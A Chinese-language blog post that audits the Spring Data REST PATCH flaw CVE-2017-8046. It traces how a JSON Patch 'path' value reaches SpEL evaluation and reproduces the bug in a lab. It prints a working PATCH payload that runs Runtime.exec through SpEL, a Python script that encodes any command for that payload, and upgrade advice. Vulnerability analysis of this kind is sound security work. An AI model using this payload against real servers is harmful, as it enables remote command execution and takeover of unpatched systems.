代码审计之Spring-Data-Rest-RCE

代码审计之Spring-Data-Rest-RCE

漏洞简介

Spring Data Rest是Spring Data框架的其中一个组件,目的是消除curd的模板代码,减少程序员刻板的重复劳动。Spring Data Rest可构建Rest Web,Spring Data Rest对PATCH方法处理不当,导致攻击者能够利用JSON数据造成RCE。本质还是因为Spring的SPEL解析导致的RCE。

环境搭建

Demo地址

1
https://github.com/spring-guides/gs-accessing-data-rest

修改pom.xml配置中版本为漏洞版本

1
2
3
4
5
6
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.5.6.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>

浏览器访问localhost:8080/people

此时还没有记录,需要创建一个新的Person

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /people HTTP/1.1
Host: 10.8.197.46:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 54

{
"firstName": "Frodo",
"lastName": "Baggins"
}

添加记录成功。

这里使用PATCH请求方式修改参数

1
2
3
4
5
6
7
8
9
10
11
12
13
PATCH /people/1 HTTP/1.1
Host: 10.8.197.46:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json-patch+json
Content-Length: 73

[{ "op": "replace", "path": "/lastName", "value": "Knownsec" }]

此时lastName已经被修改

漏洞分析

根据官方通报,此漏洞由PATCH请求导致的。

直接从org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply()进行分析

1
2
3
4
5
6
7
8
9
10
11
12
public <T> T apply(IncomingRequest request, T target) throws Exception {

Assert.notNull(request, "Request must not be null!");
Assert.isTrue(request.isPatchRequest(), "Cannot handle non-PATCH request!");
Assert.notNull(target, "Target must not be null!");

if (request.isJsonPatchRequest()) {
return applyPatch(request.getBody(), target);
} else {
return applyMergePatch(request.getBody(), target);
}
}

可以看到代码中通过isJsonPatchRequest()判断请求

跟进该方法,首先判断请求方式为PATCH,接着判断Content-Type是否与application/json-patch+json兼容

在apply()方法判断逻辑中,当判断返回为True时,进入applyPatch()方法,跟进applyPatch()方法

继续跟进getPatchOperations()方法,首先初始化了JsonPatchPatchCoverter类并调用了convert()方法

跟进convert()方法,返回结果为atch()对象

并且初始化中的op为一个list对象,该类定义了三个属性op、path、value

而其中还有一个spelExpression属性,该属性根据path转化而来,继续跟进pathToExpression()

跟进pathToSpEL(),这里将path由斜杠分割成字符数组

跟进pathNodesToSpEL()方法,将由path分割的字符数组来传参返回spel,所以这里就是注入点,对path传值进行构造payload.

上面对applyPatch()方法的getPatchOperations()是获取path参数并将其分割成字符数组,我们继续跟进apply()方法看如何对获取的参数进行处理

这里的operation调用了perform()方法,此时的operation实际为ReplaceOperation

跟进setValueOnTarget()方法

值得注意的是

1
spelExpression.setValue(target, value);

这一步就是执行了SpEL表达式,但这里需要将执行的命令转换为byte[]类型

python脚本如下:

1
2
3
4
5
6
7
8
9
command = "xxxxxx"#执行的命令
payload = "new byte[]{"
for i in range(len(command)):
if i == len(command)-1:
payload+=str(ord(command[i]))
else:
payload+=str(ord(command[i]))+','
payload+= "}"
print(payload)

漏洞复现

构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
PATCH /people/1 HTTP/1.1
Host: 10.8.197.46:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json-patch+json
Content-Length: 149

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{99,97,108,99}))/lastName", "value": "knownsec" }]

这里执行加载计算器成功

修复建议

由于该漏洞由patch请求引起,建议在使用restful风格的接口时,不使用patch方式的请求。建议将spring boot的jar包升级到Spring Boot 2.0.0.M4以上(包括Spring Boot 2.0.0.M4也是安全版本)。

参考链接

技术研究 | Spring Data Rest RCE案例分析(CVE-2017-8046) - 知乎 (zhihu.com)

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信